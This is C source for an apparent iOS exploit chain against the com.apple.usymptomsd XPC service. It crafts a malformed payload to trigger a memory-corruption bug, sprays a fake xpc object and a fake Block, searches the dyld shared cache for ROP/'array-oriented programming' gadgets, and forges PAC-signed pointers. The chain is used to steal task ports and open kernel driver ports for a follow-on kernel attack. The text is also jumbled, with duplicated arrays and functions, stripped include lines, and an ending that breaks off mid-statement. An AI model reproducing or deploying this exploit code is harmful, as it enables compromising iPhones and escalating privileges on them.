{0x13,0x15,0x13,0x0,0xf4,0x0,0x0,0x0,0x7,0x7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x43,0x50,0x58,0x40,0x5,0x0,0x0,0x0,0x0,0xf0,0x0,0x0,0xcc,0x0,0x0,0x0,0x8,0x0,0x0,0x0,0x73,0x75,0x62,0x73,0x79,0x73,0x74,0x65,0x6d,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x68,0x61,0x6e,0x64,0x6c,0x65,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x69,0x6e,0x73,0x74,0x61,0x6e,0x63,0x65,0x0,0x0,0x0,0x0,0x0,0xa0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x72,0x6f,0x75,0x74,0x69,0x6e,0x65,0x0,0x0,0x40,0x0,0x0,0xcf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x66,0x6c,0x61,0x67,0x73,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x6e,0x61,0x6d,0x65,0x0,0x0,0x0,0x0,0x0,0x90,0x0,0x0,0x15,0x0,0x0,0x0,0x63,0x6f,0x6d,0x2e,0x61,0x70,0x70,0x6c,0x65,0x2e,0x75,0x73,0x79,0x6d,0x70,0x74,0x6f,0x6d,0x73,0x64,0x0,0x0,0x0,0x0,0x74,0x79,0x70,0x65,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x61,0x72,0x67,0x65,0x74,0x70,0x69,0x64,0x0,0x0,0x0,0x0,0x30,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}; uint8_t vm_remap_machmsg_bytes[92] = {0x13,0x15,0x0,0x80,0x5c,0x0,0x0,0x0,0x11,0x11,0x11,0x11,0x22,0x22,0x22,0x22,0x0,0x0,0x0,0x0,0xcd,0x12,0x0,0x0,0x1,0x0,0x0,0x0,0x3,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x13,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x33,0x33,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xf,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x40,0x0,0x0,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}; void Assemble_part2_AOP(uint64_t *spraymem, uint64_t spray_start_address){ // Trigger vuln causing call objc_release with fake_xpcobj char *fake_xpcobj = (char*)spraymem; *(uint64_t*)fake_xpcobj = (uint64_t)dlsym((void*)-2, "_xpc_type_file_transfer"); *(uint32_t*)(fake_xpcobj + 0xC) = 0; // set retainCnt as 0, leads to _xpc_file_transfer_dispose *(uint64_t*)(fake_xpcobj + 0x40) = spray_start_address + 0x48; // leads to _Block_release during disposal char *fake_Block = ((char*)spraymem) + 0x48; char *fake_Block_core = fake_Block + 0x40; *(uint32_t*)(fake_Block + 0x8) = 0x3000000 | 0x2; // Necessary bits mask | retainCnt *(uint64_t*)(fake_Block + 0x18) = (uint64_t)spray_start_address + 0x48 + 0x40; // First place got control of PC *(uint64_t*)(fake_Block_core + 0x18) = Gadget_control_x0x2; // --- Execute control_x0x2 gadget *(uint64_t*)(fake_Block + 0x20) = (uint64_t)dlsym((void*)-2, "xpc_array_apply_f"); // Next jmp *(uint64_t*)(fake_Block + 0x28) = spray_start_address + 0x100 - 24; // Reset x0, point to our spray mem, explicitly, a crafted xpc array *(uint64_t*)(fake_Block + 0x30) = (uint64_t)IODispatchCalloutFromMessage; // Reset x2 *(uint64_t*)(fake_Block + 0x38) = 0x0; // Reset w1 (Only 32bit) /* Begin Array-Oriented-Programming function chain-calling Payload arrangement: 0x0 ... Used during taking control of PC 0x100 ... AOP array object itself 0x118 ... For AOP data-use 0x1500 ... For AOP call-use 0x3E00 ... AOP array storage 0x4000 */ uint32_t _aop_FuncCALL_primer_offset = 0x3E00; uint32_t _aop_FuncCALL_offset = 0x1800; uint32_t _aop_data_offset = 0x118; // offset is right after fake array // Craft a fake array, stru has changed and req size increased to 0x18 since iOS13, was 0x10 spraymem[OF(0x100)] = spray_start_address + _aop_FuncCALL_primer_offset; // Array internal pointer, point to stored objects pool spraymem[OF(0x108)] = -1; // Array count, -1 causes the array to iterate endlessly -1 spraymem[OF(0x110)] = 0; // new value introd since iOS13, keep it empty // --- Following are AOP data-use aop_Insert_Data(lookup_io_server_rawmsg, bootstrap_look_up_machmsg_bytes, sizeof(bootstrap_look_up_machmsg_bytes)); *(uint64_t*)(vm_remap_machmsg_bytes + 56) = 0x4000000; // size of iosurface aop_Insert_Data(vm_remap_rawmsg, vm_remap_machmsg_bytes, sizeof(vm_remap_machmsg_bytes)); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 mach_msg_body_t msgh_body; mach_msg_port_descriptor_t our_recv_port; // our_recv_port.name: +28 mach_msg_port_descriptor_t our_task_port; // our_task_port.name: +40 mach_msg_port_descriptor_t IOSurfaceRoot_servport; // IOSurfaceRoot_servport.name: +52 mach_msg_port_descriptor_t AppleAVE2Driver_servport; // AppleAVE2Driver_servport.name: +64 mach_msg_trailer_t trailer; }_remote_recvmsg = {0}; // Size: 84 _remote_recvmsg.Head.msgh_size = sizeof(_remote_recvmsg); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 mach_msg_trailer_t trailer; }_remote_recvmsg2 = {0}; // Size: 32 _remote_recvmsg2.Head.msgh_size = sizeof(_remote_recvmsg2); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 uint64_t remote_map_addr; // remote_map_addr: +24 mach_msg_trailer_t trailer; }_remote_recvmsg3 = {0}; // Size: 56 _remote_recvmsg3.Head.msgh_size = sizeof(_remote_recvmsg3); struct { mach_msg_header_t Head; // Head.msgh_remote_port +8 mach_msg_body_t msgh_body; mach_msg_port_descriptor_t port_send_to_us; // port_send_to_us.name +28 }_remote_sendmsg = {0}; _remote_sendmsg.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg.Head.msgh_size = sizeof(_remote_sendmsg); _remote_sendmsg.msgh_body.msgh_descriptor_count = 1; _remote_sendmsg.port_send_to_us.name = mach_task_self(); _remote_sendmsg.port_send_to_us.disposition = MACH_MSG_TYPE_MOVE_SEND; _remote_sendmsg.port_send_to_us.type = MACH_MSG_PORT_DESCRIPTOR; struct { mach_msg_header_t Head; }_remote_sendmsg2 = {0}; _remote_sendmsg2.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg2.Head.msgh_size = sizeof(_remote_sendmsg2); struct { mach_msg_header_t Head; uint64_t send_remap_addr_to_us; // send_remap_addr_to_us: +24 }_remote_sendmsg3 = {0}; _remote_sendmsg3.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg3.Head.msgh_size = sizeof(_remote_sendmsg3); aop_Insert_Data(remote_recvmsg, &_remote_recvmsg, sizeof(_remote_recvmsg)); aop_Insert_Data(remote_recvmsg2, &_remote_recvmsg2, sizeof(_remote_recvmsg2)); aop_Insert_Data(remote_recvmsg3, &_remote_recvmsg3, sizeof(_remote_recvmsg3)); aop_Insert_Data(remote_sendmsg, &_remote_sendmsg, sizeof(_remote_sendmsg)); aop_Insert_Data(remote_sendmsg2, &_remote_sendmsg2, sizeof(_remote_sendmsg2)); aop_Insert_Data(remote_sendmsg3, &_remote_sendmsg3, sizeof(_remote_sendmsg3)); // --- Following are AOP code-use // Call bootstrap_look_up to retri listening port aop_FuncCALL(mach_port_allocate, mach_task_self(), MACH_PORT_RIGHT_RECEIVE, lookup_io_server_rawmsg + offsetof(mach_msg_header_t, msgh_local_port), 0); aop_FuncCALL(mach_msg_send, lookup_io_server_rawmsg, 0, 0, 0); aop_FuncCALL(mach_msg_receive, lookup_io_server_rawmsg, 0, 0, 0); aop_FuncCALL_memcpy_32bits(remote_recvmsg + offsetof(mach_msg_header_t, msgh_local_port), lookup_io_server_rawmsg + 28); aop_FuncCALL(mach_msg_receive, remote_recvmsg, 0, 0, 0); aop_FuncCALL_memcpy_32bits(remote_recvmsg2+12, remote_recvmsg+12); aop_FuncCALL_memcpy_32bits(remote_recvmsg3+12, remote_recvmsg+12); aop_FuncCALL_memcpy_32bits(remote_sendmsg+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(remote_sendmsg2+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(remote_sendmsg3+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+8, remote_recvmsg+40); aop_FuncCALL(mach_port_allocate, mach_task_self(), MACH_PORT_RIGHT_RECEIVE, vm_remap_rawmsg + offsetof(mach_msg_header_t, msgh_local_port), 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); // To inform us that pwned proc got the msg contains our port // Then passing own task port to us aop_FuncCALL(mach_msg_send, remote_sendmsg, 0, 0, 0); /* Reason of doing this, instead like in iOS12 exploit, open IO service port via IOServiceOpen and passing to us directly. iOS 13 added new mitigation prevent all IOUserClient (obtain via IOServiceOpen) port from moving to other ipc space, namely diff tasks. I supposed these port are marked as guarded port. Example crash: Exception Type: EXC_GUARD Exception Subtype: GUARD_TYPE_MACH_PORT Exception Message: on mach port 84999 (guarded with 0x0000000000000000) Exception Note: SIMULATED (this is NOT a crash) Way to get around this is "passively" passing to us, like use task_get_special_port/task_set_special_port trick */ // Opening and passing kernel driver ports to us. aop_FuncCALL_memcpy_32bits(spray_start_address + _aop_FuncCALL_offset + 24 + 24, remote_recvmsg+52); aop_FuncCALL(dlsym((void*)-2, "IOServiceOpen"), 0x414141, mach_task_self(), 0, spray_start_address + _aop_FuncCALL_offset + 24 + 76); aop_FuncCALL(task_set_special_port, mach_task_self(), TASK_SEATBELT_PORT, 0x414141, 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); aop_FuncCALL(mach_msg_receive, remote_recvmsg2, 0, 0, 0); // Waiting for us to notify pwned proc we got the port aop_FuncCALL_memcpy_32bits(spray_start_address + _aop_FuncCALL_offset + 24 + 24, remote_recvmsg+64); aop_FuncCALL(dlsym((void*)-2, "IOServiceOpen"), 0x414141, mach_task_self(), 0, spray_start_address + _aop_FuncCALL_offset + 24 + 76); aop_FuncCALL(task_set_special_port, mach_task_self(), TASK_ACCESS_PORT, 0x414141, 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); // Waiting for overwriting over the iosurface mapping memory, key to trigger vulnerability in kernel aop_FuncCALL(mach_msg_receive, remote_recvmsg3, 0, 0, 0); // Perform cross-task memory mapping aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+76, remote_recvmsg3+24); aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+80, remote_recvmsg3+28); // src addr which is the remote mapping addr aop_FuncCALL(mach_msg_send, vm_remap_rawmsg, 0, 0, 0); aop_FuncCALL(mach_msg_receive, vm_remap_rawmsg, 0, 0, 0); // send remap addr to us aop_FuncCALL_memcpy_32bits(remote_sendmsg3+24, vm_remap_rawmsg+36); aop_FuncCALL_memcpy_32bits(remote_sendmsg3+28, vm_remap_rawmsg+40); // src addr which is the remote mapping addr aop_FuncCALL(mach_msg_send, remote_sendmsg3, 0, 0, 0); // Block here to waiting for finish exploitation aop_FuncCALL(mach_msg_receive, remote_recvmsg2, 0, 0, 0); // Duty completed aop_FuncCALL(exit, 0, 0, 0, 0); //printf("_aop_data_offset: 0x%x\n", _aop_data_offset); //printf("_aop_FuncCALL_offset: 0x%x\n", _aop_FuncCALL_offset); //printf("_aop_FuncCALL_primer_offset: 0x%x\n", _aop_FuncCALL_primer_offset); } void Assemble_part1_ROP(uint64_t *rop2_stack, uint64_t rop2_start_address){ // Still need little bit ROP to convert "retain" call into "release", from that point on, AOP gadget can be re-used rop2_stack[OF(0x0)] = rop2_start_address + 0x40; rop2_stack[OF(0x20)] = (uint64_t)dlsym((void*)-2, "objc_release"); // Next JMP rop2_stack[OF(0x28)] = rop2_start_address + 0x80; // Reset x0 rop2_stack[OF(0x50)] = *rop2_stack + 0x28; rop2_stack[OF(0x58)] = 0; rop2_stack[OF(0x60)] = 0; rop2_stack[OF(0x68)] = *rop2_stack ^ Gadget_control_x0x2; // Again take over PC rop2_stack[OF(0x70)] = (uint64_t)sel_registerName("retain"); Assemble_part2_AOP((uint64_t *)((char*)rop2_stack + 0x80), rop2_start_address + 0x80); } void xpc_conn_test_exp2(){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.usymptomsd", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { printf("replyA\n"); char *err = xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION); printf("erra: %s\n", err); }); xpc_connection_resume(xpcconn); size_t payload_size = 8 + 72 + 100 + 6; // payload head + 1st tlv length + 1st tlv body + beginning of 2nd tlv (To break the loop) char *payload = malloc(payload_size); bzero(payload, payload_size); // 4 + 72 + (>3) // _eventData: 4 ~ 72 *(uint16_t*)payload = 2; // case ? for switch statement *(uint16_t*)(payload + 2) = 72; // len for SYMTLV_SYM_BASIC *(uint8_t*)(payload + 11) = 0x40; // Do not let it passes: if ( !(*(_BYTE *)(payload + 11) & 0x40) ) *(uint16_t*)(payload + 72 + 4) = 8; // Do not let it passes: if ( *(_WORD *)(payload_ing_inner + *(uint16_t*)(payload + 2) + 4) != 8 ) char *payload_inner = payload + 72 + 4; *(uint16_t*)(payload_inner + 2) = 100; // v45 // Do not let these pass: if ( v45 & 3 ) // if ( payload_remain_len < v45 + 4 ) //payload_remain_len: payload_size - 72 - 4 // if ( (unsigned int)v45 <= 11 ) // if ( v47 + 8 > v45 ) //v47: *(uint32_t*)(payload_inner + 8) *(uint32_t*)(payload_inner + 8) = 100 - 8; // provided EventKey max length *(uint32_t*)(payload_inner + 4) = 0xFFFFFFFF; // Must let it passes: if( _bittest((int*)(payload_inner + 4), 29u) ) strcpy(payload_inner + 12, "com.apple.symptoms.test.request-passthrough"); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_data(msg, "payload", payload, payload_size); // for spray uint32_t dispatchData_len = 0x20000; void *dispatchData = malloc(dispatchData_len); bzero(dispatchData, dispatchData_len); for(int i=0; i #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // For PAC-device(arm64e) support #include "IOKitLib.h" #include "xpc.h" extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); #pragma pack(4) #define SPRAY_ADDRESS 0x150010000 #define TARGET_MACH_SERVICE "com.apple.usymptomsd" #define TARGET_MACH_SERVICE_2 "com.apple.symptoms.symptomsd.managed_events" #define OF(offset) (offset)/sizeof(uint64_t) #define exit(X) longjmp(jmpb, 1) jmp_buf jmpb; uint64_t PACSupport_pacdza(uint64_t data_ptr){ const char *unused_fmt = ""; printf(unused_fmt, data_ptr); __asm__ __volatile__("mov %0, x8" ::"r"(data_ptr)); __asm__ __volatile__( "pacdza x8\n" "mov %0, x8\n" :"=r"(data_ptr)); return data_ptr; } uint64_t PACSupport_paciza(uint64_t code_ptr){ const char *unused_fmt = ""; printf(unused_fmt, code_ptr); __asm__ __volatile__("mov %0, x8" ::"r"(code_ptr)); __asm__ __volatile__( "paciza x8\n" "mov %0, x8\n" :"=r"(code_ptr)); return code_ptr; } uint64_t PACSupport_pacia(uint64_t code_ptr, uint64_t modifier){ __asm__ __volatile__( "pacia x0, x1\n" "mov x18, x0\n" "mov %0, x18\n" :"=r"(code_ptr)); return code_ptr; } uint64_t PACSupport_xpaci(void *code_ptr){ return (uint64_t)ptrauth_strip(code_ptr, ptrauth_key_asia); } uint64_t PACSupport_addMask(uint64_t data_ptr, uint32_t mask){ /* Commonly used in cooperate with "blraa" 0000000190e0db00 ldraa x9, [x8, #0x10]! 0000000190e0db04 movk x8, #0x165d, lsl #48 0000000190e0db08 blraa x9, x8 */ data_ptr |= (((uint64_t)mask) << 48); return data_ptr; } #pragma mark AOP Gadgets // AOP: Array Oriented Programming void *dylibcache_start = NULL; size_t dylibcache_size = 0; bool isPartOf_dyldcache(vm_address_t addr){ vm_size_t size = 0; natural_t depth = 0; vm_region_submap_info_data_64_t info; mach_msg_type_number_t info_cnt = VM_REGION_SUBMAP_INFO_COUNT_64; if(vm_region_recurse_64(mach_task_self(), &addr, &size, &depth, (vm_region_info_t)&info, &info_cnt)) return false; if(info.share_mode == SM_TRUESHARED) return true; return false; } size_t Get_loaded_dylib_size(void *dylib_address){ struct mach_header *mh = (struct mach_header*)dylib_address; const uint32_t cmd_count = mh->ncmds; struct load_command *cmds = (struct load_command*)((char*)mh+sizeof(struct mach_header_64)); struct load_command* cmd = cmds; for (uint32_t i = 0; i < cmd_count; ++i){ switch (cmd->cmd) { case LC_SEGMENT_64:{ struct segment_command_64 *seg = (struct segment_command_64*)cmd; if(!strcmp(seg->segname,"__TEXT")){ return seg->vmsize; } } break; } cmd = (struct load_command*)((char*)cmd + cmd->cmdsize); } return 0; } void Find_dylibcache(){ vm_address_t minAddr = 0; vm_address_t maxAddr = 0; for (uint32_t i = 0; i < _dyld_image_count(); i++){ uint64_t addr = (uint64_t)_dyld_get_image_header(i); const char *name = _dyld_get_image_name(i); if(strncmp(name, "/System/", 8) && strncmp(name, "/usr/", 5)) continue; if(!isPartOf_dyldcache(addr)) continue; if(!minAddr || addr < minAddr) minAddr = addr; if(addr > maxAddr) maxAddr = addr; } if(!minAddr||!maxAddr){ printf("dylibcache Not Ready!\n"); exit(); } size_t last_dylib_size = Get_loaded_dylib_size((void*)maxAddr); dylibcache_start = (void*)minAddr; dylibcache_size = (size_t)((maxAddr + last_dylib_size) - minAddr); printf("Dylibcache range: %p - %p\n", dylibcache_start, dylibcache_start + dylibcache_size); } uint64_t find_gadget(char *bytes, size_t len){ void *addr = memmem(dylibcache_start, dylibcache_size, bytes, len); if(!addr){ printf("Gadget didn't find, len:0x%zx\n",len); } return (uint64_t)addr; } uint64_t find_gadget_speed(char *bytes, size_t len, void *findingRange_start, uint64_t findingRange_size){ void *addr = memmem(findingRange_start, findingRange_size, bytes, len); if(!addr){ //printf("Gadget didn't find, len:0x%zx\n",len); } return (uint64_t)addr; } char _bytes_dualJump_ios12[] = { 0x08, 0x00, 0x40, 0xF9, // ldr x8, [x0] 0x09, 0x3D, 0x20, 0xF8, // ldraa x9, [x8, #0x18]! 0x48, 0x15, 0xEE, 0xF2, // movk x8, #0x70aa, lsl #48 0x28, 0x09, 0x3F, 0xD7, // blraa x9, x8 0x08, 0x00, 0x40, 0xF9, // ldr x8, [x0] 0xE8, 0x3B, 0xC1, 0xDA, // autdza x8 0x09, 0x01, 0x40, 0xF9, // ldr x9, [x8] 0xA8, 0x39, 0xFF, 0xF2, // movk x8, #0xf9cd, lsl #48 0x28, 0x09, 0x3F, 0xD7, // blraa x9, x8 }; char _bytes_dualJump_ios13[] = { 0x08, 0x00, 0x40, 0xF9, // ldr x8, [x0] 0x09, 0x3D, 0x20, 0xF8, // ldraa x9, [x8, #0x18]! 0x48, 0x92, 0xFA, 0xF2, // movk x8, #0xd492, lsl #48 0x28, 0x09, 0x3F, 0xD7, // blraa x9, x8 0x08, 0x00, 0x40, 0xF9, // ldr x8, [x0] 0x09, 0x0D, 0x20, 0xF8, // ldraa x9, [x8, #0x0]! 0xA8, 0x39, 0xFF, 0xF2, // movk x8, #0xf9cd, lsl #48 0x28, 0x09, 0x3F, 0xD7, // blraa x9, x8 }; #define _Gadget_dualJump find_gadget(_bytes_dualJump_ios13,sizeof(_bytes_dualJump_ios13)) uint64_t Gadget_dualJump = 0; // ldr x0, [x0] ; xpacd x0 ; ret #define _Gadget_strip_x0 find_gadget((char[]){0x00,0x00,0x40,0xF9,0xE0,0x47,0xC1,0xDA,0xC0,0x03,0x5F,0xD6},12) uint64_t Gadget_strip_x0 = 0; char _bytes_control_x0x2[] = { 0xF3, 0x03, 0x00, 0xAA, // mov x19, x0 0x08, 0x00, 0x42, 0xA9, // ldp x8, x0, [x0, #0x20] 0x61, 0x3A, 0x40, 0xB9, // ldr w1, [x19, #0x38] 0x62, 0x1A, 0x40, 0xF9, // ldr x2, [x19, #0x30] 0x1F, 0x09, 0x3F, 0xD6, // blraaz x8 }; #define _Gadget_control_x0x2 find_gadget_speed(_bytes_control_x0x2,sizeof(_bytes_control_x0x2),findingRange_start,findingRange_size) uint64_t Gadget_control_x0x2 = 0; char _bytes_memcopy[] = { 0x08, 0x00, 0x40, 0xB9, // ldr w8, [x0] 0x68, 0x00, 0x00, 0xB9, // str w8, [x3] 0xC0, 0x03, 0x5F, 0xD6, // ret }; #define _Gadget_memcopy find_gadget_speed(_bytes_memcopy,sizeof(_bytes_memcopy),findingRange_start,findingRange_size) uint64_t Gadget_memcopy = 0; #define aop_FuncCALL(FUNC, ARG1, ARG2, ARG3, ARG4) \ spraymem[OF(_aop_FuncCALL_primer_offset)] = spray_start_address + _aop_FuncCALL_offset; \ {char *func_call_payload = ((char*)spraymem) + _aop_FuncCALL_offset; \ _aop_FuncCALL_primer_offset += 8; \ _aop_FuncCALL_offset += 0x74; \ *(uint32_t*)(func_call_payload + 20) = 53; \ *(uint64_t*)(func_call_payload) = 0; \ *(uint32_t*)(func_call_payload + 8) = 0; \ char *tmp_ha = func_call_payload + 24; /* Saved an offset later gonna involves multiple time */ \ *(uint32_t*)(tmp_ha + 4) = 150; \ *(uint32_t*)(func_call_payload + 4) = 116; \ *(uint64_t*)(tmp_ha + 16) = PACSupport_paciza(PACSupport_xpaci(FUNC)); /* func ptr */ \ *(uint64_t*)(tmp_ha + 24) = ARG1; /* arg1 */ \ *(uint32_t*)(tmp_ha + 72) = ARG2; /* arg2 (Only 32bits)*/ \ *(uint64_t*)(tmp_ha + 76) = ARG3; /* arg3 */ \ *(uint64_t*)(tmp_ha + 84) = ARG4;} // arg4 #define aop_FuncCALL_memcpy_32bits(dst, src) \ aop_FuncCALL((void*)Gadget_memcopy, src, 0, 0, dst) #define aop_Insert_String(VAR, STR) \ size_t _##VAR##_len = strlen(STR) + 1; \ uint64_t VAR = SPRAY_ADDRESS + _aop_data_offset; \ memcpy((char*)spraymem + _aop_data_offset, STR, _##VAR##_len); \ _##VAR##_len = (~0xF) & (_##VAR##_len + 0xF); \ _aop_data_offset += _##VAR##_len; #define aop_Insert_Data(VAR, DATA, SIZE) \ size_t _##VAR##_SIZE = SIZE; \ uint64_t VAR = SPRAY_ADDRESS + _aop_data_offset; \ memcpy((char*)spraymem + _aop_data_offset, DATA, _##VAR##_SIZE); \ _##VAR##_SIZE = (~0xF) & (_##VAR##_SIZE + 0xF); \ _aop_data_offset += _##VAR##_SIZE; void Find_aopGadgets(){ #define _SEEK(V) if(!(V = _##V)){printf("No "#V" Found!\n");exit();} //_SEEK(Gadget_dualJump); Unused //_SEEK(Gadget_strip_x0); Unused //_SEEK(Gadget_control_x0x2); Switch to speed version //_SEEK(Gadget_memcopy); Switch to speed version } /*void Find_aopGadgets_speed(){ const char *target_lib_1 = "/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils"; const char *target_lib_2 = "/System/Library/PrivateFrameworks/WebCore.framework/Frameworks/libwebrtc.dylib"; dlopen(target_lib_1, RTLD_NOW); dlopen(target_lib_2, RTLD_NOW); for (uint32_t i = 0; i < _dyld_image_count(); i++){ const char *name = _dyld_get_image_name(i); if(!strcmp(name, target_lib_1)){ void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); _SEEK(Gadget_control_x0x2); } else if(!strcmp(name, target_lib_2)){ void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); _SEEK(Gadget_memcopy); } } } */ void Find_aopGadgets_speed(){ const char *target_lib_1 = "/System/Library/PrivateFrameworks/CoreUtils.framework/CoreUtils"; const char *target_lib_2 = "/System/Library/PrivateFrameworks/WebCore.framework/Frameworks/libwebrtc.dylib"; dlopen(target_lib_1, RTLD_NOW); dlopen(target_lib_2, RTLD_NOW); for (uint32_t i = 0; i < _dyld_image_count(); i++){ { void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); if(!Gadget_control_x0x2) Gadget_control_x0x2 = _Gadget_control_x0x2; } { void *findingRange_start = (void*)_dyld_get_image_header(i); uint64_t findingRange_size = (uint64_t)Get_loaded_dylib_size(findingRange_start); if(!Gadget_memcopy) Gadget_memcopy = _Gadget_memcopy; } } if(!Gadget_control_x0x2){ printf("Error: Gadget_control_x0x2 not found!\n"); sleep(999); } if(!Gadget_memcopy){ printf("Error: Gadget_memcopy not found!\n"); sleep(999); } } // Look up service: com.apple.usymptomsd uint8_t bootstrap_look_up_machmsg_bytes[244] = {0x13,0x15,0x13,0x0,0xf4,0x0,0x0,0x0,0x7,0x7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x10,0x43,0x50,0x58,0x40,0x5,0x0,0x0,0x0,0x0,0xf0,0x0,0x0,0xcc,0x0,0x0,0x0,0x8,0x0,0x0,0x0,0x73,0x75,0x62,0x73,0x79,0x73,0x74,0x65,0x6d,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x68,0x61,0x6e,0x64,0x6c,0x65,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x69,0x6e,0x73,0x74,0x61,0x6e,0x63,0x65,0x0,0x0,0x0,0x0,0x0,0xa0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x72,0x6f,0x75,0x74,0x69,0x6e,0x65,0x0,0x0,0x40,0x0,0x0,0xcf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x66,0x6c,0x61,0x67,0x73,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x6e,0x61,0x6d,0x65,0x0,0x0,0x0,0x0,0x0,0x90,0x0,0x0,0x15,0x0,0x0,0x0,0x63,0x6f,0x6d,0x2e,0x61,0x70,0x70,0x6c,0x65,0x2e,0x75,0x73,0x79,0x6d,0x70,0x74,0x6f,0x6d,0x73,0x64,0x0,0x0,0x0,0x0,0x74,0x79,0x70,0x65,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x7,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x61,0x72,0x67,0x65,0x74,0x70,0x69,0x64,0x0,0x0,0x0,0x0,0x30,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}; uint8_t vm_remap_machmsg_bytes[92] = {0x13,0x15,0x0,0x80,0x5c,0x0,0x0,0x0,0x11,0x11,0x11,0x11,0x22,0x22,0x22,0x22,0x0,0x0,0x0,0x0,0xcd,0x12,0x0,0x0,0x1,0x0,0x0,0x0,0x3,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x13,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x33,0x33,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xf,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x40,0x0,0x0,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0}; void Assemble_AOP(uint64_t *aop_stack, uint64_t rop_start_address){ extern void get_string(char *copyto); // copy a fake string get_string(aop_stack); } void Assemble_AOP2(uint64_t *spraymem, uint64_t spray_start_address){ // Trigger vuln causing call objc_release with fake_xpcobj char *fake_xpcobj = (char*)spraymem; *(uint64_t*)fake_xpcobj = (uint64_t)dlsym((void*)-2, "_xpc_type_file_transfer"); *(uint32_t*)(fake_xpcobj + 0xC) = 0; // set retainCnt as 0, leads to _xpc_file_transfer_dispose *(uint64_t*)(fake_xpcobj + 0x40) = spray_start_address + 0x48; // leads to _Block_release during disposal char *fake_Block = ((char*)spraymem) + 0x48; char *fake_Block_core = fake_Block + 0x40; *(uint32_t*)(fake_Block + 0x8) = 0x3000000 | 0x2; // Necessary bits mask | retainCnt *(uint64_t*)(fake_Block + 0x18) = (uint64_t)spray_start_address + 0x48 + 0x40; // First place got control of PC *(uint64_t*)(fake_Block_core + 0x18) = PACSupport_pacia(Gadget_control_x0x2, (uint64_t)spray_start_address + 0x48 + 0x40 + 0x18); // --- Execute control_x0x2 gadget *(uint64_t*)(fake_Block + 0x20) = PACSupport_paciza(PACSupport_xpaci(dlsym((void*)-2, "xpc_array_apply_f"))); // Next jmp *(uint64_t*)(fake_Block + 0x28) = spray_start_address + 0x100 - 24; // Reset x0, point to our spray mem, explicitly, a crafted xpc array *(uint64_t*)(fake_Block + 0x30) = 